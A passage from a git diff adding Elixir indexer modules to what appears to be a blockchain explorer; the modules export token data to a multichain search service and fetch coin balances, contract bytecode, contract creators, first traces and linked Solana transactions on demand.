[%Hash{byte_count: 20, bytes: res.hash}], + &[%Hash{byte_count: 20, bytes: res.hash} | &1] + ) + |> maybe_update_block_ranges_in_params_map(res.block_range) + + :block -> + acc + |> Map.update( + :block_hashes, + [%Hash{byte_count: 32, bytes: res.hash}], + &[%Hash{byte_count: 32, bytes: res.hash} | &1] + ) + |> maybe_update_block_ranges_in_params_map(res.block_range) + + :transaction -> + acc + |> Map.update( + :transactions, + [%{hash: to_string(%Hash{byte_count: 32, bytes: res.hash})}], + &[%{hash: to_string(%Hash{byte_count: 32, bytes: res.hash})} | &1] + ) + |> maybe_update_block_ranges_in_params_map(res.block_range) + end + end + ) + + addresses = + pre_prepared_export_data.address_hashes + |> Chain.hashes_to_addresses() + + pre_prepared_export_data + |> Map.put(:addresses, addresses) + |> Map.drop([:address_hashes]) + |> (&if( + Map.get(&1, :block_ranges) == [ + %{ + max_block_number: nil, + min_block_number: nil + } + ], + do: Map.drop(&1, [:block_ranges]), + else: &1 + )).() + end + + defp defaults do + [ + flush_interval: :timer.seconds(10), + max_concurrency: Application.get_env(:indexer, __MODULE__)[:concurrency] || @default_max_concurrency, + max_batch_size: Application.get_env(:indexer, __MODULE__)[:batch_size] || @default_max_batch_size, + task_supervisor: __MODULE__.TaskSupervisor + ] + end + + defp maybe_update_block_ranges_in_params_map(params_map, nil), do: params_map + + defp maybe_update_block_ranges_in_params_map(params_map, block_range) do + params_map + |> Map.update!( + :block_ranges, + &[ + %{ + min_block_number: to_string(min(block_range.from, parse_block_number(&1, :min_block_number))), + max_block_number: to_string(max(block_range.to, parse_block_number(&1, :max_block_number))) + } + ] + ) + end + + defp parse_block_number(nil, _), do: 0 + + defp parse_block_number([%{min_block_number: nil}], :min_block_number), do: nil + + defp parse_block_number([%{max_block_number: nil}], :max_block_number), do: 0 + + defp parse_block_number( + [ + %{ + min_block_number: _, + max_block_number: _ + } = block_range + ], + type + ) do + case Integer.parse(block_range[type]) do + {num, _} -> num + :error -> 0 + end + end +end diff --git a/apps/indexer/lib/indexer/fetcher/multichain_search_db/token_info_export_queue.ex b/apps/indexer/lib/indexer/fetcher/multichain_search_db/token_info_export_queue.ex new file mode 100644 index 000000000000..66378b80bdef --- /dev/null +++ b/apps/indexer/lib/indexer/fetcher/multichain_search_db/token_info_export_queue.ex @@ -0,0 +1,133 @@ +defmodule Indexer.Fetcher.MultichainSearchDb.TokenInfoExportQueue do + @moduledoc """ + Exports blockchain data to Multichain Search DB service from the queue. + """ + + require Logger + + use Indexer.Fetcher, restart: :permanent + use Spandex.Decorators + + alias Explorer.Chain.MultichainSearchDb.TokenInfoExportQueue + alias Explorer.MicroserviceInterfaces.MultichainSearch + alias Explorer.Repo + + alias Indexer.{BufferedTask, Helper} + + @behaviour BufferedTask + + @default_max_batch_size 1000 + @default_max_concurrency 10 + @failed_to_export_data_error "Batch token info export attempt to the Multichain Search DB failed" + @fetcher_name :multichain_search_db_token_info_export_queue + @queue_size_info "Queue size" + @successfully_sent_info "Successfully sent" + + @doc false + def child_spec([init_options, gen_server_options]) do + merged_init_opts = + defaults() + |> Keyword.merge(init_options) + |> Keyword.merge(state: []) + + Supervisor.child_spec({BufferedTask, [{__MODULE__, merged_init_opts}, gen_server_options]}, id: __MODULE__) + end + + @impl BufferedTask + def init(initial_acc, reducer, _) do + {:ok, acc} = + TokenInfoExportQueue.stream_multichain_db_token_info_batch( + initial_acc, + fn data, acc -> + Helper.reduce_if_queue_is_not_full(data, acc, reducer, __MODULE__) + end, + true + ) + + acc + end + + @impl BufferedTask + def run(items_from_db_queue, _) when is_list(items_from_db_queue) do + case MultichainSearch.batch_export_token_info(items_from_db_queue) do + {:ok, {:chunks_processed, chunks}} -> + chunks + |> Enum.map(fn chunk -> chunk.tokens end) + |> List.flatten() + |> Enum.map(&MultichainSearch.token_info_http_item_to_queue_item(&1)) + |> delete_queue_items() + |> log_queue_size() + + {:error, data_to_retry} -> + Logger.error(fn -> + ["#{@failed_to_export_data_error}", "#{inspect(data_to_retry.tokens)}"] + end) + + queue_items_to_retry = + data_to_retry.tokens + |> Enum.map(&MultichainSearch.token_info_http_item_to_queue_item(&1)) + + items_from_db_queue + |> Enum.reject(fn item_to_export -> + Enum.any?( + queue_items_to_retry, + &(&1.address_hash == item_to_export.address_hash and &1.data_type == item_to_export.data_type) + ) + end) + |> delete_queue_items() + |> log_queue_size() + + {:retry, queue_items_to_retry} + end + end + + # Removes items successfully sent to Multichain service from db queue. + # + # ## Parameters + # - `items`: The list of queue items to delete from the queue. + # + # ## Returns + # - The `items` list. + @spec delete_queue_items([map()]) :: [map()] + defp delete_queue_items(items) do + items + |> Enum.each(fn item -> + item + |> TokenInfoExportQueue.delete_query() + |> Repo.delete_all() + end) + + items + end + + # Logs the number of the current queue size and the number of successfully sent items. + # + # ## Parameters + # - `items_successful`: The list of items successfully sent to Multichain service. + # + # ## Returns + # - `:ok` + @spec log_queue_size(list()) :: any() + defp log_queue_size(items_successful) do + Logger.info( + fn -> + [ + "#{@queue_size_info}: ", + "#{TokenInfoExportQueue.queue_size()}, ", + "#{@successfully_sent_info}: ", + "#{Enum.count(items_successful)}" + ] + end, + fetcher: @fetcher_name + ) + end + + defp defaults do + [ + flush_interval: :timer.seconds(10), + max_concurrency: Application.get_env(:indexer, __MODULE__)[:concurrency] || @default_max_concurrency, + max_batch_size: Application.get_env(:indexer, __MODULE__)[:batch_size] || @default_max_batch_size, + task_supervisor: __MODULE__.TaskSupervisor + ] + end +end diff --git a/apps/indexer/lib/indexer/fetcher/on_demand/coin_balance.ex b/apps/indexer/lib/indexer/fetcher/on_demand/coin_balance.ex new file mode 100644 index 000000000000..ac7ba153aab0 --- /dev/null +++ b/apps/indexer/lib/indexer/fetcher/on_demand/coin_balance.ex @@ -0,0 +1,263 @@ +defmodule Indexer.Fetcher.OnDemand.CoinBalance do + @moduledoc """ + Ensures that we have a reasonably up to date coin balance for a given address. + + If we have an unfetched coin balance for that address, it will be synchronously fetched. + If not we will fetch the coin balance and created a fetched coin balance. + If we have a fetched coin balance, but it is over 100 blocks old, we will fetch and create a fetched coin balance. + """ + + use Indexer.Fetcher, restart: :permanent + + import EthereumJSONRPC, only: [integer_to_quantity: 1] + + require Logger + + alias Explorer.{Chain, Repo} + alias Explorer.Chain.{Address, Hash} + alias Explorer.Chain.Address.{CoinBalance, CoinBalanceDaily} + alias Explorer.Chain.Cache.{Accounts, BlockNumber} + alias Explorer.Chain.Cache.Counters.AverageBlockTime + alias Explorer.Utility.RateLimiter + alias Indexer.BufferedTask + alias Indexer.Fetcher.CoinBalance.Helper, as: CoinBalanceHelper + alias Timex.Duration + + @behaviour BufferedTask + + @max_batch_size 500 + @max_concurrency 4 + @defaults [ + flush_interval: :timer.seconds(3), + max_concurrency: @max_concurrency, + max_batch_size: @max_batch_size, + task_supervisor: Indexer.Fetcher.OnDemand.CoinBalance.TaskSupervisor, + metadata: [fetcher: :coin_balance_on_demand] + ] + + @type block_number :: integer + + @typedoc """ + `block_number` represents the block that we will be updating the address to. + + If there is a pending balance in the window, we will not fetch the balance + as of the latest block, we will instead fetch that pending balance. + """ + @type balance_status :: + :current + | {:stale, block_number} + | {:pending, block_number} + + @spec trigger_fetch(String.t() | nil, Address.t()) :: balance_status + def trigger_fetch(caller \\ nil, address) do + if __MODULE__.Supervisor.disabled?() or RateLimiter.check_rate(caller, :on_demand) == :deny do + :current + else + latest_block_number = latest_block_number() + + case stale_balance_window(latest_block_number) do + {:error, _} -> + :current + + stale_balance_window -> + do_trigger_fetch(address, latest_block_number, stale_balance_window) + end + end + end + + @spec trigger_historic_fetch(String.t() | nil, Hash.Address.t(), non_neg_integer()) :: balance_status + def trigger_historic_fetch(caller \\ nil, address_hash, block_number) do + if __MODULE__.Supervisor.disabled?() or RateLimiter.check_rate(caller, :on_demand) == :deny do + :current + else + do_trigger_historic_fetch(address_hash, block_number) + end + end + + @doc false + def child_spec([init_options, gen_server_options]) do + {state, mergeable_init_options} = Keyword.pop(init_options, :json_rpc_named_arguments) + + unless state do + raise ArgumentError, + ":json_rpc_named_arguments must be provided to `#{__MODULE__}.child_spec " <> + "to allow for json_rpc calls when running." + end + + merged_init_opts = + @defaults + |> Keyword.merge(mergeable_init_options) + |> Keyword.put(:state, state) + + Supervisor.child_spec({BufferedTask, [{__MODULE__, merged_init_opts}, gen_server_options]}, id: __MODULE__) + end + + @impl BufferedTask + def init(initial, _, _) do + initial + end + + @impl BufferedTask + def run(entries, json_rpc_named_arguments) do + entries_by_type = Enum.group_by(entries, &elem(&1, 0), &Tuple.delete_at(&1, 0)) + + all_balances_params = + entries_by_type + |> Enum.reduce([], fn {_type, params}, acc -> params ++ acc end) + |> Enum.uniq() + + case fetch_balances(all_balances_params, json_rpc_named_arguments) do + {:ok, %{params_list: params_list}} -> + params_map = Map.new(params_list, fn params -> {{params.block_number, params.address_hash}, params} end) + + entries_by_type[:fetch_and_update] + |> get_balances_responses(params_map) + |> do_update() + + entries_by_type[:fetch_and_import] + |> get_balances_responses(params_map) + |> do_import() + + entries_by_type[:fetch_and_import_daily_balances] + |> get_balances_responses(params_map) + |> do_import_daily_balances() + + error -> + Logger.error( + "Error while fetching balances: #{inspect(error)}, balances params: #{inspect(all_balances_params)}" + ) + end + + :ok + end + + defp get_balances_responses(balances_keys, params_map) do + params_map + |> Map.take(balances_keys || []) + |> Map.values() + end + + defp do_update([]), do: :ok + + defp do_update(balances_responses) do + address_params = CoinBalanceHelper.balances_params_to_address_params(balances_responses) + + case Chain.import(%{ + addresses: %{params: address_params, with: :balance_changeset}, + broadcast: :on_demand + }) do + {:ok, %{addresses: addresses}} -> Accounts.drop(addresses) + _ -> :ok + end + end + + defp do_trigger_fetch(%Address{fetched_coin_balance_block_number: nil} = address, latest_block_number, _) do + BufferedTask.buffer(__MODULE__, [{:fetch_and_update, latest_block_number, to_string(address.hash)}], false) + + {:stale, 0} + end + + defp do_trigger_fetch(address, latest_block_number, stale_balance_window) do + latest_by_day = CoinBalanceDaily.latest_by_day_query(address.hash) + + latest = CoinBalance.latest_coin_balance_query(address.hash, stale_balance_window) + + do_trigger_balance_fetch_query(address, latest_block_number, stale_balance_window, latest, latest_by_day) + end + + defp do_trigger_historic_fetch(address_hash, block_number) do + BufferedTask.buffer(__MODULE__, [{:fetch_and_import, block_number, to_string(address_hash)}], false) + + {:stale, 0} + end + + defp do_trigger_balance_fetch_query( + address, + latest_block_number, + stale_balance_window, + query_balances, + query_balances_daily + ) do + if address.fetched_coin_balance_block_number < stale_balance_window do + do_trigger_balance_daily_fetch_query(address, latest_block_number, query_balances_daily) + BufferedTask.buffer(__MODULE__, [{:fetch_and_update, latest_block_number, to_string(address.hash)}], false) + + {:stale, latest_block_number} + else + case Repo.replica().one(query_balances) do + nil -> + # There is no recent coin balance to fetch, so we check to see how old the + # balance is on the address. If it is too old, we check again, just to be safe. + do_trigger_balance_daily_fetch_query(address, latest_block_number, query_balances_daily) + + :current + + %CoinBalance{value_fetched_at: nil, block_number: block_number} -> + BufferedTask.buffer(__MODULE__, [{:fetch_and_import, block_number, to_string(address.hash)}], false) + + {:pending, block_number} + + %CoinBalance{} -> + do_trigger_balance_daily_fetch_query(address, latest_block_number, query_balances_daily) + + :current + end + end + end + + defp do_trigger_balance_daily_fetch_query(address, latest_block_number, query) do + if Repo.replica().one(query) == nil do + BufferedTask.buffer( + __MODULE__, + [{:fetch_and_import_daily_balances, latest_block_number, to_string(address.hash)}], + false + ) + end + end + + defp fetch_balances(params, json_rpc_named_arguments) do + params + |> Enum.map(fn {block_number, address_hash} -> + %{block_quantity: integer_to_quantity(block_number), hash_data: address_hash} + end) + |> EthereumJSONRPC.fetch_balances(json_rpc_named_arguments, latest_block_number()) + end + + defp do_import([]), do: :ok + + defp do_import(balances_responses) do + CoinBalanceHelper.import_fetched_balances(balances_responses, :on_demand) + end + + defp do_import_daily_balances([]), do: :ok + + defp do_import_daily_balances(balances_responses) do + CoinBalanceHelper.import_fetched_daily_balances(balances_responses, :on_demand) + end + + defp latest_block_number do + BlockNumber.get_max() + end + + @spec stale_balance_window(non_neg_integer()) :: non_neg_integer() | {:error, :empty_database} + defp stale_balance_window(block_number) do + case AverageBlockTime.average_block_time() do + {:error, :disabled} -> + fallback_threshold_in_blocks = Application.get_env(:indexer, __MODULE__)[:fallback_threshold_in_blocks] + block_number - fallback_threshold_in_blocks + + duration -> + average_block_time = + duration + |> Duration.to_milliseconds() + |> round() + + if average_block_time == 0 do + {:error, :empty_database} + else + threshold = Application.get_env(:indexer, __MODULE__)[:threshold] + block_number - div(threshold, average_block_time) + end + end + end +end diff --git a/apps/indexer/lib/indexer/fetcher/on_demand/contract_code.ex b/apps/indexer/lib/indexer/fetcher/on_demand/contract_code.ex new file mode 100644 index 000000000000..8f19f6a4a25a --- /dev/null +++ b/apps/indexer/lib/indexer/fetcher/on_demand/contract_code.ex @@ -0,0 +1,208 @@ +defmodule Indexer.Fetcher.OnDemand.ContractCode do + @moduledoc """ + Ensures that we have a smart-contract bytecode indexed. + """ + + require Logger + + use GenServer + use Indexer.Fetcher, restart: :permanent + + import EthereumJSONRPC, only: [fetch_codes: 2] + + alias Explorer.Chain + alias Explorer.Chain.{Address, Data, Hash} + alias Explorer.Chain.Cache.Accounts + alias Explorer.Chain.Cache.Counters.Helper + alias Explorer.Chain.Events.Publisher + alias Explorer.Chain.SmartContract.Proxy.Models.Implementation + alias Explorer.Utility.{AddressContractCodeFetchAttempt, RateLimiter} + alias Indexer.Fetcher.OnDemand.ContractCreator, as: ContractCreatorOnDemand + + @max_delay :timer.hours(168) + + @spec trigger_fetch(String.t() | nil, Address.t()) :: :ok + def trigger_fetch(caller \\ nil, address) do + if is_nil(address.contract_code) or Address.eoa_with_code?(address) do + case RateLimiter.check_rate(caller, :on_demand) do + :allow -> GenServer.cast(__MODULE__, {:fetch, address}) + :deny -> :ok + end + else + ContractCreatorOnDemand.trigger_fetch(address) + end + end + + @doc """ + Checks database for bytecode first, then fetches from RPC if not found. + This function handles the complete verification flow including database fallback. + + Returns `{:ok, bytecode}` if bytecode is found, or `:error` otherwise. + """ + @spec get_or_fetch_bytecode(Hash.Address.t()) :: + {:ok, String.t()} | :error + def get_or_fetch_bytecode(caller \\ nil, address_hash) do + with {:ok, %Address{} = address} <- Chain.hash_to_address(address_hash, []), + fetch? = is_nil(address.contract_code) or Address.eoa_with_code?(address), + {true, _} <- {fetch?, address.contract_code}, + :allow <- RateLimiter.check_rate(caller, :on_demand) do + GenServer.call(__MODULE__, {:fetch, address}) + else + {false, bytecode} -> {:ok, bytecode} + _ -> :error + end + end + + # Attempts to fetch the contract code for a given address. + # + # This function checks if the contract code needs to be fetched and if enough time + # has passed since the last attempt. If conditions are met, it triggers the fetch + # and broadcast process. + # + # ## Parameters + # address: The address of the contract. + # state: The current state of the fetcher, containing JSON-RPC configuration. + # + # ## Returns + # `:ok` in all cases. + @spec fetch_contract_code(Address.t(), %{ + json_rpc_named_arguments: EthereumJSONRPC.json_rpc_named_arguments() + }) :: {:ok, String.t() | nil} | :error + defp fetch_contract_code(address, state) do + with {:need_to_fetch, true} <- {:need_to_fetch, fetch?(address)}, + {:retries_number, {retries_number, updated_at}} <- + {:retries_number, AddressContractCodeFetchAttempt.get_retries_number(address.hash)}, + updated_at_ms = DateTime.to_unix(updated_at, :millisecond), + {:retry, true} <- + {:retry, + Helper.current_time() - updated_at_ms > + threshold(retries_number)} do + fetch_and_broadcast_bytecode(address, state) + else + {:need_to_fetch, false} -> + :error + + {:retries_number, nil} -> + fetch_and_broadcast_bytecode(address, state) + + {:retry, false} -> + :error + end + end + + # Determines if contract code should be fetched for an address + @spec fetch?(Address.t()) :: boolean() + defp fetch?(address) when is_nil(address.nonce), do: true + # if the address has a signed authorization, it might have a bytecode + # according to EIP-7702 + defp fetch?(%{signed_authorization: %{authority: _}}), do: true + defp fetch?(_), do: false + + # Fetches and broadcasts the bytecode for a given address. + # + # This function attempts to retrieve the contract bytecode for the specified address + # using the Ethereum JSON-RPC API. If successful, it updates the database as described below + # and broadcasts the result: + # 1. Updates the `addresses` table with the contract code if fetched successfully. + # 2. Modifies the `address_contract_code_fetch_attempts` table: + # - Deletes the entry if the code is successfully set. + # - Increments the retry count if the fetch fails or returns empty code. + # 3. Broadcasts a message with the fetched bytecode if successful. + # + # ## Parameters + # address_hash: The `t:Explorer.Chain.Hash.Address.t/0` of the contract. + # state: The current state of the fetcher, containing JSON-RPC configuration. + # + # ## Returns + # `:ok` (the function always returns `:ok`, actual results are handled via side effects) + @spec fetch_and_broadcast_bytecode(Address.t(), %{ + json_rpc_named_arguments: EthereumJSONRPC.json_rpc_named_arguments() + }) :: {:ok, String.t() | nil} | :error + defp fetch_and_broadcast_bytecode(address, %{json_rpc_named_arguments: _} = state) do + with {:fetched_code, {:ok, %EthereumJSONRPC.FetchedCodes{params_list: fetched_codes}}} <- + {:fetched_code, + fetch_codes( + [%{block_quantity: "latest", address: to_string(address.hash)}], + state.json_rpc_named_arguments + )}, + contract_code_object = List.first(fetched_codes), + false <- is_nil(contract_code_object), + {:ok, fetched_code} <- + (contract_code_object.code == "0x" && {:ok, nil}) || Data.cast(contract_code_object.code), + true <- fetched_code != address.contract_code, + {:ok, %{addresses: addresses}} <- + Chain.import(%{ + addresses: %{ + params: [%{hash: address.hash, contract_code: fetched_code}], + on_conflict: {:replace, [:contract_code, :updated_at]}, + fields_to_update: [:contract_code] + } + }) do + Accounts.drop(addresses) + + # Update EIP7702 proxy addresses to avoid inconsistencies between addresses and proxy_implementations tables. + # Other proxy types are not handled here, since their bytecode doesn't change the way EIP7702 bytecode does. + cond do + Address.smart_contract?(address) and !Address.eoa_with_code?(address) -> + :ok + + is_nil(fetched_code) -> + Implementation.delete_implementations([address.hash]) + + true -> + Implementation.upsert_eip7702_implementations(addresses) + end + + Publisher.broadcast(%{fetched_bytecode: [address.hash, contract_code_object.code]}, :on_demand) + + ContractCreatorOnDemand.trigger_fetch(address) + + AddressContractCodeFetchAttempt.delete(address.hash) + + {:ok, fetched_code} + else + {:fetched_code, {:error, _}} -> + :error + + _ -> + AddressContractCodeFetchAttempt.insert_retries_number(address.hash) + :error + end + end + + def start_link([init_opts, server_opts]) do + GenServer.start_link(__MODULE__, init_opts, server_opts) + end + + @impl true + def init(json_rpc_named_arguments) do + {:ok, %{json_rpc_named_arguments: json_rpc_named_arguments}} + end + + @impl true + def handle_cast({:fetch, address}, state) do + fetch_contract_code(address, state) + + {:noreply, state} + end + + @impl true + def handle_call({:fetch, address}, _from, state) do + result = fetch_contract_code(address, state) + {:reply, result, state} + end + + # An initial threshold to fetch smart-contract bytecode on-demand + @spec update_threshold_ms() :: non_neg_integer() + defp update_threshold_ms do + Application.get_env(:indexer, __MODULE__)[:threshold] + end + + # Calculates the delay for the next fetch attempt based on the number of retries + @spec threshold(non_neg_integer()) :: non_neg_integer() + defp threshold(retries_number) do + delay_in_ms = trunc(update_threshold_ms() * :math.pow(2, retries_number)) + + min(delay_in_ms, @max_delay) + end +end diff --git a/apps/indexer/lib/indexer/fetcher/on_demand/contract_creator.ex b/apps/indexer/lib/indexer/fetcher/on_demand/contract_creator.ex new file mode 100644 index 000000000000..82ce3004d755 --- /dev/null +++ b/apps/indexer/lib/indexer/fetcher/on_demand/contract_creator.ex @@ -0,0 +1,247 @@ +defmodule Indexer.Fetcher.OnDemand.ContractCreator do + @moduledoc """ + Ensures that we have a smart-contract creator address indexed. + """ + + require Logger + + use GenServer + use Indexer.Fetcher, restart: :permanent + + import EthereumJSONRPC, only: [id_to_params: 1, integer_to_quantity: 1, json_rpc: 2] + + alias EthereumJSONRPC.Nonce + alias Explorer.Chain.Address + alias Explorer.Chain.Cache.BlockNumber + alias Explorer.Utility.MissingRangesManipulator + + import Indexer.Block.Fetcher, + only: [ + async_import_internal_transactions: 2 + ] + + @table_name :contract_creator_lookup + @pending_blocks_cache_key "pending_blocks" + + def start_link(_) do + :ets.new(@table_name, [ + :set, + :named_table, + :public, + read_concurrency: true, + write_concurrency: true + ]) + + GenServer.start_link(__MODULE__, [], name: __MODULE__) + end + + @spec trigger_fetch(Address.t()) :: :ok | :ignore + def trigger_fetch(address) do + # we expect here, that address has 'contract_creation_internal_transaction' and 'contract_creation_transaction' preloads + creation_transaction = Address.creation_transaction(address) + creator_hash = creation_transaction && creation_transaction.from_address_hash + + with false <- is_nil(address.contract_code), + true <- is_nil(creator_hash), + false <- Address.eoa_with_code?(address), + {:address_lookup, [{_, contract_creation_block_number}]} <- + {:address_lookup, :ets.lookup(@table_name, address_cache_name(address.hash))}, + {:pending_blocks_lookup, [{@pending_blocks_cache_key, blocks}]} <- + {:pending_blocks_lookup, :ets.lookup(@table_name, @pending_blocks_cache_key)}, + contract_creation_block when is_nil(contract_creation_block) <- + Enum.find(blocks, fn %{block_number: block_number} -> + block_number == contract_creation_block_number + end) do + GenServer.cast(__MODULE__, {:fetch, address}) + else + {:address_lookup, []} -> + GenServer.cast(__MODULE__, {:fetch, address}) + + _ -> + :ignore + end + end + + @spec fetch_contract_creator_address_hash(Explorer.Chain.Hash.Address.t()) :: :ok + defp fetch_contract_creator_address_hash(address_hash) do + max_block_number = BlockNumber.get_max() + + initial_block_ranges = %{ + left: 0, + right: max_block_number, + previous_nonce: nil + } + + contract_creation_block_number = find_contract_creation_block_number(initial_block_ranges, address_hash) + + pending_blocks = + case pending_blocks_cache() do + [] -> + [] + + [{_, pending_blocks}] -> + pending_blocks + end + + updated_pending_blocks = + case Enum.member?(pending_blocks, contract_creation_block_number) do + true -> + pending_blocks + + false -> + [ + %{block_number: contract_creation_block_number, address_hash_string: to_string(address_hash)} + | pending_blocks + ] + end + + :ets.insert(@table_name, {@pending_blocks_cache_key, updated_pending_blocks}) + + # Change `1` to specific label when `priority` field becomes `Ecto.Enum`. + MissingRangesManipulator.add_ranges_by_block_numbers([contract_creation_block_number], 1) + end + + defp find_contract_creation_block_number(block_ranges, address_hash) do + :ets.insert(@table_name, {address_cache_name(address_hash), :in_progress}) + json_rpc_named_arguments = Application.get_env(:explorer, :json_rpc_named_arguments) + medium = trunc((block_ranges.right - block_ranges.left) / 2) + medium_position = block_ranges.left + medium + + params = %{block_quantity: integer_to_quantity(medium_position), address: to_string(address_hash)} + + id_to_params = id_to_params([params]) + + with {:ok, response} <- + params + |> Map.merge(%{id: 0}) + |> Nonce.request() + |> json_rpc(json_rpc_named_arguments) do + case Nonce.from_response(%{id: 0, result: response}, id_to_params) do + {:ok, %{nonce: 0}} -> + left_new = new_left_position(medium, medium_position) + block_ranges = Map.put(block_ranges, :left, left_new) + + maybe_continue_binary_search(block_ranges, address_hash, 0) + + {:ok, %{nonce: nonce}} when nonce > 0 -> + right_new = new_right_position(medium, medium_position) + block_ranges = Map.put(block_ranges, :right, right_new) + + maybe_continue_binary_search(block_ranges, address_hash, nonce) + + _ -> + Logger.error("Error while fetching 'eth_getTransactionCount' for address #{to_string(address_hash)}") + :timer.sleep(1000) + find_contract_creation_block_number(block_ranges, address_hash) + end + end + end + + defp new_left_position(medium, medium_position) do + if medium == 0, do: medium_position + 1, else: medium_position + end + + defp new_right_position(medium, medium_position) do + if medium == 0, do: medium_position - 1, else: medium_position + end + + defp maybe_continue_binary_search(block_ranges, address_hash, nonce) do + cond do + block_ranges.left == block_ranges.right -> + block_ranges.left + + block_ranges.right - block_ranges.left == 1 && nonce !== block_ranges.previous_nonce -> + block_ranges.right + + true -> + block_ranges = Map.put(block_ranges, :previous_nonce, nonce) + find_contract_creation_block_number(block_ranges, address_hash) + end + end + + @impl true + def init([]) do + {:ok, %{}} + end + + @impl true + def handle_cast({:fetch, address}, state) do + fetch_contract_creator_address_hash(address.hash) + + {:noreply, state} + end + + defp address_cache_name(address_hash) do + to_string(address_hash) + end + + # Retrieves the cached list of blocks where contract creator lookup is pending from the ETS table. + + # The function looks up the ETS table using the key `"pending_blocks"` and returns + # a list of tuples where each tuple contains a string (representing the block identifier) + # and a list of maps (representing the block data). + + # ## Returns + + # - `[{String.t(), [map()]}]`: A list of tuples containing block identifiers and their associated data. + @spec pending_blocks_cache() :: [{String.t(), [map()]}] + defp pending_blocks_cache, do: :ets.lookup(@table_name, @pending_blocks_cache_key) + + @doc """ + Asynchronously updates value of ETS cache :contract_creator_lookup for key "pending_blocks": + removes block from the cache since the block has been imported. + """ + @spec async_update_cache_of_contract_creator_on_demand(map()) :: Task.t() + def async_update_cache_of_contract_creator_on_demand(imported) do + Task.async(fn -> + imported_block_numbers = + imported + |> Map.get(:blocks, []) + |> Enum.map(&Map.get(&1, :number)) + + unless Enum.empty?(imported_block_numbers) do + cache_key = @pending_blocks_cache_key + # credo:disable-for-next-line Credo.Check.Refactor.Nesting + case pending_blocks_cache() do + [{^cache_key, pending_blocks}] -> + update_pending_contract_creator_blocks(pending_blocks, imported_block_numbers, imported) + + [] -> + :ok + end + end + end) + end + + defp update_pending_contract_creator_blocks([], _imported_block_numbers, _imported), do: [] + + defp update_pending_contract_creator_blocks(pending_blocks, imported_block_numbers, imported) do + updated_pending_block_numbers = + Enum.filter(pending_blocks, fn pending_block -> + if Enum.member?(imported_block_numbers, pending_block.block_number) do + contract_creation_block = + find_contract_creation_block_in_imported(imported, pending_block.block_number) + + internal_transactions_import_params = [%{blocks: [contract_creation_block]}] + async_import_internal_transactions(internal_transactions_import_params, true) + + # todo: emit event that contract creator updated for the contract. This was the purpose keeping address_hash_string in that cache key. + :ets.delete(@table_name, pending_block.address_hash_string) + false + else + true + end + end) + + :ets.insert( + @table_name, + {@pending_blocks_cache_key, updated_pending_block_numbers} + ) + end + + defp find_contract_creation_block_in_imported(imported, contract_creation_block_number) do + Enum.find(imported[:blocks], fn %Explorer.Chain.Block{number: block_number} -> + block_number == contract_creation_block_number + end) + end +end diff --git a/apps/indexer/lib/indexer/fetcher/on_demand/first_trace.ex b/apps/indexer/lib/indexer/fetcher/on_demand/first_trace.ex new file mode 100644 index 000000000000..13ea834560c4 --- /dev/null +++ b/apps/indexer/lib/indexer/fetcher/on_demand/first_trace.ex @@ -0,0 +1,82 @@ +defmodule Indexer.Fetcher.OnDemand.FirstTrace do + @moduledoc """ + On demand fetcher of first transaction's trace + """ + + use GenServer + use Indexer.Fetcher, restart: :permanent + + alias Explorer.Chain + alias Explorer.Chain.{Import, InternalTransaction} + alias Explorer.Chain.Import.Runner.InternalTransactions + + require Logger + + def maybe_trigger_fetch(transaction, opts \\ []) do + unless Application.get_env(:explorer, :shrink_internal_transactions_enabled) do + transaction.hash + |> InternalTransaction.all_transaction_to_internal_transactions(opts) + |> Enum.any?(&(&1.index == 0)) + |> unless do + trigger_fetch(transaction) + end + end + end + + def trigger_fetch(transaction) do + GenServer.cast(__MODULE__, {:fetch, transaction}) + end + + def fetch_first_trace(transaction, state) do + hash_string = to_string(transaction.hash) + + response = + Chain.fetch_first_trace( + [ + %{ + block_hash: transaction.block_hash, + block_number: transaction.block_number, + hash_data: hash_string, + transaction_index: transaction.index + } + ], + state.json_rpc_named_arguments + ) + + case response do + {:ok, first_trace_params} -> + InternalTransactions.run_insert_only(first_trace_params, %{ + timeout: :infinity, + timestamps: Import.timestamps(), + internal_transactions: %{params: first_trace_params} + }) + + {:error, reason} -> + Logger.error(fn -> + ["Error while fetching first trace for transaction: #{hash_string} error reason: ", reason] + end) + + :ignore -> + :ignore + end + end + + def start_link([init_opts, server_opts]) do + GenServer.start_link(__MODULE__, init_opts, server_opts) + end + + @impl true + def init(json_rpc_named_arguments) do + {:ok, %{json_rpc_named_arguments: json_rpc_named_arguments}} + end + + @impl true + # Don't fetch first trace for pending transactions + def handle_cast({:fetch, %{block_hash: nil}}, state), do: {:noreply, state} + + def handle_cast({:fetch, transaction}, state) do + fetch_first_trace(transaction, state) + + {:noreply, state} + end +end diff --git a/apps/indexer/lib/indexer/fetcher/on_demand/neon_solana_transactions.ex b/apps/indexer/lib/indexer/fetcher/on_demand/neon_solana_transactions.ex new file mode 100644 index 000000000000..bbbb870a1d45 --- /dev/null +++ b/apps/indexer/lib/indexer/fetcher/on_demand/neon_solana_transactions.ex @@ -0,0 +1,84 @@ +defmodule Indexer.Fetcher.OnDemand.NeonSolanaTransactions do + @moduledoc """ + A caching proxy service getting linked solana transactions from NeonEVM Node. + The corresponding node data is available only via a dedicated endpoint + so we don't fetch those unless a user explicitly requests so to minimize requests. + ## Caching Behavior + Fetched transactions are cached indefinitely in the database. There is no automatic cache invalidation. + ## Transaction Hash Format + Transaction hashes can be provided with or without "0x" prefix. The prefix will be automatically + removed before processing. + """ + require Logger + + import Ecto.Query, only: [from: 2] + alias Explorer.Chain.Neon.LinkedSolanaTransactions + alias Explorer.Repo + + defp trigger_fetch(transaction_hash) do + arguments = Application.fetch_env!(:indexer, :json_rpc_named_arguments) + + case EthereumJSONRPC.get_linked_solana_transactions(transaction_hash, arguments) do + {:ok, fetched} when is_list(fetched) -> + save_cache(transaction_hash, fetched) + {:ok, fetched} + + {:error, reason} -> + {:error, "Unable to fetch data from the node: #{inspect(reason)}"} + end + end + + defp cache(transaction_hash) do + Repo.replica().all( + from( + solanaTransaction in LinkedSolanaTransactions, + where: solanaTransaction.neon_transaction_hash == ^transaction_hash.bytes, + select: solanaTransaction.solana_transaction_hash + ) + ) + rescue + e in Ecto.QueryError -> + Logger.warning("Failed to query cached external transactions: #{inspect(e)}") + [] + end + + defp save_cache(transaction_hash, fetched) do + entries = + Enum.map(fetched, fn sol_transaction_hash_string -> + %{ + neon_transaction_hash: transaction_hash.bytes, + solana_transaction_hash: sol_transaction_hash_string, + inserted_at: DateTime.utc_now(), + updated_at: DateTime.utc_now() + } + end) + + case Repo.transaction(fn -> + Repo.insert_all( + LinkedSolanaTransactions, + entries, + 